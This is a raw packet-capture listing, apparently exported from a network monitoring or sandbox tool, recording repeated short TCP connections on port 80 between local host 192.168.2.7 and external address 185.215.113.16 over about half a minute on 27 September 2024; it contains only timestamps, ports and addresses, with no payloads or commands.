Sep 27, 2024 01:29:12.712379932 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:12.712452888 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.712579012 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:12.717639923 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.454965115 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.455056906 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.455728054 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.460627079 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.682399035 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.682471991 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.784749031 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.785129070 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.789802074 CEST	80	49716	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.789884090 CEST	49716	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.789917946 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:13.789994955 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.790092945 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:13.794856071 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.482147932 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.482331991 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.483040094 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.487802029 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.704719067 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.704910040 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.816577911 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.816932917 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.821599007 CEST	80	49717	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.821677923 CEST	49717	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.821697950 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:14.821763039 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.821867943 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:14.826592922 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.039895058 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.039928913 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.039993048 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.039993048 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.040036917 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.040087938 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.040792942 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.045568943 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.265012026 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.265116930 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.379667997 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.380517006 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.384860992 CEST	80	49718	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.384932041 CEST	49718	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.385320902 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:16.385390997 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.385524988 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:16.390212059 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.152738094 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.152851105 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.153491020 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.158325911 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.383819103 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.383924007 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.487725973 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.488121033 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.493061066 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.493138075 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.493264914 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.494147062 CEST	80	49719	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:17.494210958 CEST	49719	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:17.498168945 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.197046041 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.197242975 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.229846954 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.234807014 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.451353073 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.451493025 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.567190886 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.568475962 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.572388887 CEST	80	49720	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.572451115 CEST	49720	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.573230028 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:18.573299885 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.575167894 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:18.579885006 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.322673082 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.322787046 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.323407888 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.328167915 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.553539991 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.553611040 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.661569118 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.662055969 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.666847944 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.666949034 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.667047977 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.667123079 CEST	80	49721	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:19.667188883 CEST	49721	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:19.671763897 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.463644981 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.463726044 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.464405060 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.469214916 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.696082115 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.696265936 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.834968090 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.835287094 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.840300083 CEST	80	49722	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.840315104 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:20.840389967 CEST	49722	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.840461016 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.840539932 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:20.845701933 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.609952927 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.610126019 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.611404896 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.618809938 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.844621897 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.844716072 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.956666946 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.956996918 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.961823940 CEST	80	49723	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.961846113 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:21.961905956 CEST	49723	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.961978912 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.962060928 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:21.967547894 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:22.690646887 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:22.690736055 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:22.691354036 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:22.696103096 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:22.920526028 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:22.920654058 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.035528898 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.035995960 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.041225910 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.041290045 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.041430950 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.041735888 CEST	80	49724	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.041778088 CEST	49724	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.046178102 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.728781939 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.728938103 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.730155945 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:23.734926939 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.952552080 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:23.952718019 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.066312075 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.066620111 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.071590900 CEST	80	49725	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:24.071647882 CEST	49725	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.072426081 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:24.072618008 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.072804928 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.077931881 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:24.797843933 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:24.798013926 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.798696995 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:24.803414106 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.032542944 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.032728910 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.144020081 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.144351006 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.272200108 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.272217989 CEST	80	49726	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.272280931 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.272322893 CEST	49726	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.272520065 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:25.277272940 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.993844032 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:25.993961096 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.019258022 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.024285078 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:26.249974966 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:26.250071049 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.362833023 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.363148928 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.368041039 CEST	80	49727	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:26.368062973 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:26.368124008 CEST	49727	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.368158102 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.368300915 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:26.373037100 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.500171900 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.500315905 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.500407934 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.500463963 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.501046896 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.505897999 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.731050014 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.731189966 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.847446918 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.847754955 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.852588892 CEST	80	49728	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.852623940 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:27.852644920 CEST	49728	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.852699041 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.852840900 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:27.857609987 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:28.542624950 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:28.542697906 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:28.557410955 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:28.562231064 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:28.932651997 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:28.932732105 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.036638975 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.036971092 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.041768074 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:29.041786909 CEST	80	49729	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:29.041872978 CEST	49729	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.041889906 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.041997910 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.046885967 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:29.761863947 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:29.762010098 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.763020039 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:29.767848969 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:30.196727991 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:30.196887016 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.315988064 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.316317081 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.321104050 CEST	80	49730	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:30.321135044 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:30.321183920 CEST	49730	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.321252108 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.321341038 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:30.326086044 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.151405096 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.151485920 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.152122021 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.157097101 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.375447989 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.375550985 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.488085985 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.488359928 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.494432926 CEST	80	49731	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.494543076 CEST	49731	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.494668961 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:31.494736910 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.494915009 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:31.499664068 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.204375982 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.204503059 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.205123901 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.209938049 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.433598042 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.433676958 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.534950018 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.535265923 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.540112972 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.540201902 CEST	80	49732	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:32.540260077 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.540350914 CEST	49732	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.540627003 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:32.545408964 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.258707047 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.258826017 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.298801899 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.303755999 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.526134968 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.526266098 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.641030073 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.641355991 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.646153927 CEST	80	49733	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.646239042 CEST	49733	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.646274090 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:33.646341085 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.646493912 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:33.651428938 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.345848083 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.345949888 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.346648932 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.351419926 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.568824053 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.568906069 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.675293922 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.675623894 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.680411100 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.680438995 CEST	80	49734	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:34.680521965 CEST	49734	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.680538893 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.680780888 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:34.687515974 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.538794041 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.538958073 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.539658070 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.544420958 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.771563053 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.771620989 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.878669024 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.879029989 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.884519100 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.884555101 CEST	80	49735	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:35.884630919 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.884646893 CEST	49735	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.884841919 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:35.889588118 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.602411985 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.602524042 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.603429079 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.608158112 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.834774017 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.834918022 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.941188097 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.941603899 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.946446896 CEST	80	49736	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.946475983 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:36.946518898 CEST	49736	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.946610928 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.946696043 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:36.951419115 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:37.658889055 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:37.659064054 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:37.659717083 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:37.664565086 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:37.890383005 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:37.890466928 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.005934000 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.006258965 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.011137962 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:38.011198997 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.011231899 CEST	80	49737	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:38.011279106 CEST	49737	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.012145996 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.016906023 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:38.738380909 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:38.738569975 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.795332909 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:38.800276995 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:39.019455910 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:39.019598961 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.183296919 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.183515072 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.188565016 CEST	80	49739	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:39.188651085 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.188760996 CEST	80	49738	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:39.188853979 CEST	49738	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.189030886 CEST	49739	80	192.168.2.7	185.215.113.16
Sep 27, 2024 01:29:39.193851948 CEST	80	49739	185.215.113.16	192.168.2.7
Sep 27, 2024 01:29:39.890763044 CEST	80	49739	185.215.113.16	192.168.2.7
